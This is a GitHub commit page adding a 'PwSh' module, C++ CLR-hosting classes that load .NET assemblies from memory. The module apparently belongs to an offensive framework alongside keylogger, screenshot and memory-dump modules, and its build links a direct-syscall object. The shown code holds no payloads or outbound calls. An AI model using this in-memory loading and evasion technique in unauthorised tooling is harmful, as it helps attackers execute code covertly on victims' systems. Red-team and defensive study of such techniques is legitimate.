Skip to content

Commit 9e6ec28

Browse files
committed
Add PwSh
1 parent 956b459 commit 9e6ec28

22 files changed

+2549
-0
lines changed

modules/CMakeLists.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,4 +28,5 @@ add_subdirectory(KeyLogger)
2828
add_subdirectory(ScreenShot)
2929
add_subdirectory(MiniDump)
3030
add_subdirectory(DotnetExec)
31+
add_subdirectory(PwSh)
3132

modules/PwSh/AssemblyManager.cpp

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
#include "AssemblyManager.hpp"
2+
3+
4+
MyAssemblyManager::MyAssemblyManager(void)
5+
{
6+
count = 0;
7+
m_assemblyStore = new MyAssemblyStore();
8+
};
9+
10+
11+
MyAssemblyManager::~MyAssemblyManager(void)
12+
{
13+
delete m_assemblyStore;
14+
};
15+
16+
17+
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
18+
{
19+
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
20+
{
21+
*ppv = 0;
22+
return E_NOINTERFACE;
23+
}
24+
*ppv = this;
25+
this->AddRef();
26+
return S_OK;
27+
}
28+
29+
30+
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
31+
{
32+
return(++((MyAssemblyManager*)this)->count);
33+
}
34+
35+
36+
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
37+
{
38+
if (--((MyAssemblyManager*)this)->count == 0)
39+
{
40+
GlobalFree(this);
41+
return 0;
42+
}
43+
return ((MyAssemblyManager*)this)->count;
44+
}
45+
46+
47+
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
48+
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
49+
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
50+
{
51+
*ppReferenceList = NULL;
52+
return S_OK;
53+
}
54+
55+
56+
//This is responsible for returning our IHostAssemblyStore implementation
57+
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
58+
{
59+
*ppAssemblyStore = m_assemblyStore;
60+
return S_OK;
61+
}
62+

modules/PwSh/AssemblyManager.hpp

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#pragma once
2+
#include "AssemblyStore.hpp"
3+
4+
5+
class MyAssemblyManager : public IHostAssemblyManager
6+
{
7+
public:
8+
MyAssemblyManager(void);
9+
~MyAssemblyManager(void);
10+
11+
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
12+
virtual ULONG STDMETHODCALLTYPE AddRef(void);
13+
virtual ULONG STDMETHODCALLTYPE Release(void);
14+
15+
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
16+
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
17+
18+
int setTargetAssembly(TargetAssembly * targetAssembly)
19+
{
20+
m_assemblyStore->setTargetAssembly(targetAssembly);
21+
return 0;
22+
}
23+
24+
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
25+
{
26+
m_assemblyStore->updateTargetAssembly(identityManager, data);
27+
return 0;
28+
}
29+
30+
LPWSTR getAssemblyInfo()
31+
{
32+
return m_assemblyStore->getAssemblyInfo();
33+
};
34+
35+
protected:
36+
DWORD count;
37+
38+
private:
39+
MyAssemblyStore* m_assemblyStore;
40+
41+
};

modules/PwSh/AssemblyStore.cpp

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
#include "AssemblyStore.hpp"
2+
#include <objbase.h>
3+
4+
#include <iostream>
5+
6+
#include <shlwapi.h>
7+
#pragma comment(lib, "Shlwapi.lib")
8+
9+
10+
MyAssemblyStore::MyAssemblyStore(void)
11+
{
12+
count = 0;
13+
m_targetAssembly = nullptr;
14+
};
15+
16+
17+
MyAssemblyStore::~MyAssemblyStore(void)
18+
{
19+
};
20+
21+
22+
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
23+
{
24+
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
25+
{
26+
*ppv = 0;
27+
return E_NOINTERFACE;
28+
}
29+
*ppv = this;
30+
this->AddRef();
31+
return S_OK;
32+
}
33+
34+
35+
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
36+
{
37+
return(++((MyAssemblyStore*)this)->count);
38+
}
39+
40+
41+
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
42+
{
43+
if (--((MyAssemblyStore*)this)->count == 0)
44+
{
45+
GlobalFree(this);
46+
return 0;
47+
}
48+
return ((MyAssemblyStore*)this)->count;
49+
}
50+
51+
52+
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
53+
{
54+
m_assembly=data;
55+
56+
if(m_assemblyStream!=nullptr)
57+
m_assemblyStream->Release();
58+
59+
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
60+
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
61+
62+
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
63+
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
64+
m_id++;
65+
66+
return 0;
67+
}
68+
69+
70+
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
71+
{
72+
m_targetAssembly->updateTargetAssembly(identityManager, data);
73+
74+
return 0;
75+
}
76+
77+
78+
79+
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
80+
{
81+
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
82+
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
83+
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
84+
85+
// Check if the identity of the assembly being loaded is the one we want
86+
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
87+
{
88+
//This isn't used for anything here so just set it to 0
89+
*pContext = 0;
90+
91+
UINT64 id = m_targetAssembly->getId();
92+
*pAssemblyId = id;
93+
94+
//Create an IStream using our in-memory assembly bytes and return it to the CLR
95+
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
96+
return S_OK;
97+
98+
}
99+
100+
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
101+
102+
// If it's not our assembly then tell the CLR to handle it
103+
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
104+
}
105+
106+
107+
// This shouldn't really get called but if it does we'll just tell the CLR to find it
108+
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
109+
{
110+
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
111+
112+
//Tell the CLR to handle this
113+
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
114+
}

modules/PwSh/AssemblyStore.hpp

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
#pragma once
2+
#include <Windows.h>
3+
#include <mscoree.h>
4+
#include <metahost.h>
5+
6+
#include <string>
7+
8+
#include <shlwapi.h>
9+
10+
11+
class TargetAssembly
12+
{
13+
public:
14+
TargetAssembly(void)
15+
{
16+
m_assemblyStream = nullptr;
17+
18+
m_id = 5000;
19+
m_assemblyInfo = (LPWSTR)malloc(4096);
20+
m_identityBufferSize = 4096;
21+
22+
};
23+
~TargetAssembly(void)
24+
{
25+
free(m_assemblyInfo);
26+
};
27+
28+
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
29+
30+
LPWSTR getAssemblyInfo()
31+
{
32+
return m_assemblyInfo;
33+
};
34+
35+
int getId()
36+
{
37+
return m_id;
38+
};
39+
40+
char* getAssembly()
41+
{
42+
return m_assembly.data();
43+
};
44+
45+
int getAssemblySize()
46+
{
47+
return m_assembly.size();
48+
};
49+
50+
private:
51+
DWORD m_identityBufferSize;
52+
LPWSTR m_assemblyInfo;
53+
54+
std::string m_assembly;
55+
56+
IStream* m_assemblyStream;
57+
58+
int m_id;
59+
};
60+
61+
62+
class MyAssemblyStore : public IHostAssemblyStore
63+
{
64+
public:
65+
MyAssemblyStore(void);
66+
~MyAssemblyStore(void);
67+
68+
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
69+
virtual ULONG STDMETHODCALLTYPE AddRef(void);
70+
virtual ULONG STDMETHODCALLTYPE Release(void);
71+
72+
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
73+
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
74+
75+
int setTargetAssembly(TargetAssembly * targetAssembly)
76+
{
77+
m_targetAssembly = targetAssembly;
78+
return 0;
79+
}
80+
81+
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
82+
83+
LPWSTR getAssemblyInfo()
84+
{
85+
return m_targetAssembly->getAssemblyInfo();
86+
};
87+
88+
protected:
89+
DWORD count;
90+
91+
private:
92+
TargetAssembly* m_targetAssembly;
93+
94+
};

modules/PwSh/CMakeLists.txt

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
include_directories(../)
2+
if(WIN32)
3+
add_library(PwSh SHARED PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj )
4+
else()
5+
add_library(PwSh SHARED PwSh.cpp)
6+
endif()
7+
set_property(TARGET PwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
8+
target_link_libraries(PwSh )
9+
add_custom_command(TARGET PwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
10+
$<TARGET_FILE:PwSh> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:PwSh>")
11+
12+
if(WITH_TESTS)
13+
if(WIN32)
14+
add_executable(testsPwSh tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj)
15+
else()
16+
add_executable(testsPwSh tests/testsPwSh.cpp PwSh.cpp)
17+
endif()
18+
# add_executable(testsPwSh WIN32 tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj)
19+
target_link_libraries(testsPwSh )
20+
set_property(TARGET testsPwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
21+
add_custom_command(TARGET testsPwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
22+
$<TARGET_FILE:testsPwSh> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsPwSh>")
23+
24+
add_test(NAME testsPwSh COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsPwSh>")
25+
endif()

0 commit comments

Comments
 (0)